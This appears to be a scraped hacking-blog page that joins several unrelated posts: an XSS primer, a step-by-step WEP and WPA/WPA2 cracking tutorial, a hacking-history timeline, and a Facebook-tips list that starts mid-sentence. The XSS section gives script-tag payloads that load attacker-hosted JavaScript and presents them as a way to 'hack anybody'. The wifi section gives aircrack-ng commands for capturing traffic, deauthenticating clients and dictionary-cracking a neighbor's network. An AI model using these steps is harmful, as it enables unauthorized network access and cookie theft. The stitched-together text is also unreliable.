Basic XSS Cross Site Scripting Demo

Basic XSS Cross Site Scripting Demo

Tweet

Allot of you guys aren't clear with xss aka cross site scripting and for that many of you were sending me mails on how to do xss attack , etc and that's why i got this video which explains some basic concepts of the Xss attack and how it can be practiced and how can we use it to hack anybody. 

This video is controversial by Brial Contos, CISSP from a company named IMPERVA. it takes through each and every step involved to find a xss vulnerability in a webpage . and showcases some of the basic steps that you need to know.

What is XSS

Cross-site scripting ('XSS' or 'CSS') is an attack that takes advantage of a Web site vulnerability in which the site displays content that includes un-sanitized user-provided data. For example, an attacker might place a hyperlink with an embedded malicious script into an online discussion forum….

That purpose of the malicious script is to attack other forum users who happen to select the hyperlink. For example it could copy user cookies and then send those cookies to the attacker. 

Conclusion

Now you might be clear with xss attacks it is easy and can be used in man terms to hack anybody or anything else for fun also. Now lets take a look at some of the commonly used xss scripts and code snippets -

Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:

<SCRIPT SRC="http://pavanjoshi2050.blogspot.in/xss.jpg”></SCRIPT>

This is most simplest snippet used to find a Xss vulnerability in a webpage.

<SCRIPT>alert('XSS');</SCRIPT>

This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=”http://pavanjoshi2050.blogspot.in/xss.js”></SCRIPT>

There are many more xss vulnerabilities you can use to bypass the security but they are most useful to find a xss vulnerability in webpage.

How to Crack wifi network’s password:-

Hello and welcome to my tutorial about wireless networking.

Today I’ll be teaching you how easy it is to obtain access to a wireless protected network by cracking the Wi-Fi network’s password.

There are lots of questions coming from the beginners on how to get WEP/WPA/WPA2 password and accessing neighbor’s wi-fi connection.

We all should be aware of fact that Wep Encrpytion is easy to crack while WPA and WPA2 is comparatively difficult and it needs a handshake dictionary. 

Here, we will be covering all of the aspects and ways of hacking a wi-fi network using backtrack and gaining access to the router.
==>>How to Crack WEP password
What You need to succeed-

wep

A compatible wireless adapter—This is the biggest requirement to hack any wi-fi network. You’ll need a wireless adapter that’s capable of packet injection, and chances are the one in your computer is not.

A BACKTRACK CD-Download yourself a copy of the backtrack CD and burn it, or load it up in VMware to get started.
A nearby WEP-enabled Wi-Fi network. The wep signal should be strong and ideally people are using it, connecting and disconnecting their devices from it.

Okay so let’s begin, so first we need to open a terminal of backtrack. To do that, just click the little icon that’s on the right side from System. Please see the image below:

backtrack
STEP 1:

Type the command- airmon-ng

This command displays our interfaces.In my case I have wlan0, and now we are going to put it into monitor mode.
STEP 2:

Type- airmon-ng start wlan0.

As you can see on the picture below it says (monitor mode enabled on mon0), and we are going to be using mon0 instead of wlan0 as our interface.

backtrack
STEP 3:

Type airodump-ng mon0 and that will start scanning for wi-fi networks. As you can see, there is a network called SKIDHACKER. Take a note of the BSSID the DATA, the CHANNEL and the type of ENCRYPTION. Please refer to the image below, if you have any trouble getting to that point.

wifi-hacking
STEP 4:

Now we are going to set it to lock on a specific wi-fi network named SKIDHACKER. To do that, type airodump-ng -c (channel) -w WEPcrack –bssid (bssid of the network) mon0. Replace (channel) with the channel of the victim’s network, and replace (bssid of the network) with the bssid of the victim’s network.

hack wifi passwords

Okay so as you can probably see the data is going really slow, and we need to boost that up. We are going to need a lot more data, so let’s preform one of the aireplay commands that will boost that data.
STEP 5:

Firstly, open up a new terminal and type aireplay-ng -1 0 -a (bsisd) mon0 where (bssid) is the bssid of the network. Now if your Wi-Fi card is supported, you should see Association successful , if you don’t see that then your card is not supported.

hack wifi passwords
Step 6:

Now we are going to type in aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0. And now when the question Use this packet ? pops up, just push the letter y. And now as you can see in the image below, the data went high drastically.

backtrack
STEP 7:

Okay so now lets open a new terminal and we are going to attempt to crack it with the amount of data we have. I recommend getting over 20000 data before trying. So let’s type aircrack-ng WEPcrack*.cap. Replace WEPcrack with the filename you chose before when capturing the data, and don’t forget to add that asterisk after the file and the extension which is .cap.

crack wifi network’s password
STEP 8:

And now it will attempt to get the password. Just wait a couple of minutes for it to complete, and once it did it will say KEY FOUND! [ XX:XX:XX:XX:XX ] where the X’s will be random numbers and/or letters. That’s not it, now to connect you will need to remove the semicolumns. For an example, if we were to have 12:34:52:66:59, the password would be 1232526659.

Just log in to your Windows OS, and connect using
 that password.

==========================================

==========================================
==>>How to Crack WPA/WPA2 Passowrd

wpa encryption

So lets begin. What you will need for this crack is a dictionary file that we are going to use to get the WPA/WPA2 password.

Remember, the bigger the dictionary file is the greater the chance you have in cracking the password.

So now you are probably wondering, where do I get a dictionary file? Well, I don’t know if this is allowed or not but I recently downloaded a 1.9GB dictionary file.You can google for it.
STEP 1:

Okay, so firstly open up a terminal and once we have the terminal open we are going to type in airmon-ng which will display our wireless interfaces.

In my case I have wlan0, and now we are going to put it into monitor mode.

wireless hacking
STEP 2:

Type airmon-ng start wlan0. As you can see on the picture below it says (monitor mode enabled on mon0), and we are going to be using mon0 instead of wlan0 as our interface.
STEP 3:

Lets type in airodump-ng mon0 and this command is going to initiate the scanning process for wifi networks. As you can see in the picture below, a few WPA encrypted networks should pop up. I’m going to attempt to crack the network under the bssidSKIDH?CKER. Take a note of the channel, and you want to copy the BSSID for later use.

hack wifi
STEP 4:

Now type airodump-ng -c (channel) -w (filename) –bssid (bssid) mon0, and replace the values to fit what you got from the last step. Don’t forget to remember what filename you chose, because we are going to need that at the end.

hack wifi passwords
What is needed to get the WPA or WPA2 key is something called a WPA Handshake. You can obtain a handshake by kicking someone off the network, and those computers will automatically reconnect which will give you the handshake.

This means, if there is no one on the network, you can’t get a handshake, and you can’t crack the security of WPA network.
STEP 5:

So how do we know if someone is connected?Well look at the lower part of the airodump command, and you will notice something as STATION, and underneath that if someone is connected it wil show you their mac address.

WPA handshake

Once you get a handshake, airodump will alert you in the top screen, and the handshake will be located right from the time stamp.
STEP 6:

Okay, so lets open up a new terminal and we are going to kick off the computers connected. Lets type in aireplay-ng -1 0 -a (bssid) mon0. Replace bssid with the network you are trying to crack and hit enter. It is going to attempt to kick off a client, and if it succeeds you will see the wpa handshake at the top right corner, if you don’t run the aireplay command a couple of times.

Backtrack

So now that we have a wpa handshake file, we are going to attempt to crack it.
STEP 7:

Lets stop the scan by pressing CONTROL + C on the terminal where airodump is running. Now in order to find the handshake file, you need to go in the top menu and chose Places > Home Folder. Okay, so lets open up a terminal and we are going to type in aircrack-ng -w (dictionary) /root/(filename). Where filename is the filename you specified when capturing the wpa handshake and the dictionary is the path of the wordlist you downloaded.
STEP 8:

This can be done by dragging in the handshake file into the terminal after the aircrack-ng -w (dictionary) command and it will parse in it’s directory. All you need to do is hit enter. The password needs to be in the dictionary file, so the bigger the wordlist is the bigger are the chances of you getting the password.

handshake
If the password is in the wordlist, it will give you a success message and the key in brackets.
Happy hacking..!

the history of hacking (must read)

Hacking has been around for more than a century. In the 1870s, several teenagers were flung off the country's brand new phone system by enraged authorities. Here's a peek at how busy hackers have been in the past 35 years.





Early 1960s

University facilities with huge mainframe computers, like MIT's artificial intelligence lab, become staging grounds for hackers. At first, "hacker" was a positive term for a person with a mastery of computers who could push programs beyond what they were designed to do.

Early 1970s

John Draper John Draper makes a long-distance call for free by blowing a precise tone into a telephone that tells the phone system to open a line. Draper discovered the whistle as a give-away in a box of children's cereal. Draper, who later earns the handle "Captain Crunch," is arrested repeatedly for phone tampering throughout the 1970s.

Yippie social movement starts YIPL/TAP (Youth International Party Line/Technical Assistance Program) magazine to help phone hackers (called "phreaks") make free long-distance calls.

Two members of California's Homebrew Computer Club begin making "blue boxes," devices used to hack into the phone system. The members, who adopt handles "Berkeley Blue" (Steve Jobs) and "Oak Toebark" (Steve Wozniak), later go on to found Apple Computer.

Early 1980s

Author William Gibson coins the term "cyberspace" in a science fiction novel called Neuromancer.

In one of the first arrests of hackers, the FBI busts the Milwaukee-based414s (named after the local area code) after members are accused of 60 computer break-ins ranging from Memorial Sloan-KetteringCancer Center to Los Alamos National Laboratory.

Comprehensive Crime Control Act gives Secret Service jurisdiction over credit card and computer fraud.

Two hacker groups form, the Legion of Doom in the United States and the Chaos Computer Club in Germany.

2600: The Hacker Quarterly is founded to share tips on phone and computer hacking.

Late 1980s

The Computer Fraud and Abuse Act gives more clout to federal authorities.

Computer Emergency Response Team is formed by U.S. defense agencies. Based at Carnegie Mellon University in Pittsburgh, its mission is to investigate the growing volume of attacks on computer networks.

At 25, veteran hacker Kevin Mitnick secretly monitors the e-mail of MCI and Digital Equipment security officials. He is convicted of damaging computers and stealing software and is sentenced to one year in prison.

First National Bank of Chicago is the victim of a $70-million computer heist.

An Indiana hacker known as "Fry Guy" -- so named for hacking McDonald's -- is raided by law enforcement. A similar sweep occurs in Atlanta for Legion of Doom hackers known by the handles "Prophet," "Leftist" and "Urvile."

Early 1990s

After AT&T long-distance service crashes on Martin Luther King Jr. Day, law enforcement starts a national crackdown on hackers. The feds nab St. Louis' "Knight Lightning" and in New York grab Masters of Deception trio "Phiber Optik," " Acid Phreak" and "Scorpion." Fellow hacker "Eric Bloodaxe" is picked up in Austin, Texas.

Operation Sundevil, a special team of Secret Service agents and members of Arizona's organized crime unit, conducts raids in 12 major cities, including Miami.

A 17-month search ends in the capture of hacker Kevin Lee Poulsen ("Dark Dante"), who is indicted for stealing military documents.

No need to apologize. We all have some people on our files that we don’t always feel like talking to. All you have to do is the click the ‘Settings’ icon at the bottom of the chat section, go to “Advanced Settings” and make your choice.

7. Post Upside-Down Texts

Drive your pals a little nuts with FlipText, a fun Facebook trick that automatically turns everything you write upside down. Just a simple copy/paste and your post is flipping.

8. Language/Geo-Target Fan Page Posts

Did you know you can make your posts visible only to people in your city? Or only to people in a certain country who speak a certain language? When you write a post, change the “Public” status according to your wishes and target your specific group of interest.

9. Edit Your Published Comments

Typos? Misunderstandings? Freudian slips? Thankfully, Facebook lets users edit their comments quite easily. All you need to do is roll over the comment, click on the pencil icon and edit away!

10. Have Some Laughs with Pirate English

Normal languages aren’t nearly as fun as pirate talk! You can change the entire Facebook terminology to pirate English by going to your Account Settings and changing the language choice. Forget about Likes, they’re called “Arrr, This be pleasin’ to me eye” now.

11. Discover Messages that Facebook Hides

Not many people know that Facebook messages get split into two folders: Messages and Other. If you haven’t looked into the Other folder before, you probably missed some messages you didn’t want to miss.

12. Turning Off Notifications from Apps, Users, Etc.

Have too much spam coming in from an event, a group or a page? You can shut notifications off by clicking on the notifications icon (the globe), rolling over the nuisance with your mouse and clicking X to delete. Faceboook will then ask you if you want to turn off notifications from that user permanently.

13. Customize Your “Posted Via” Line

Another fun trick you can do to spice up your Facebook posts is to add a customized “Posted Via” line with this awesome Facebook tool. You can publish your posts from Air Force One, from a banana phone or via Jedi mind control, to name just a few.
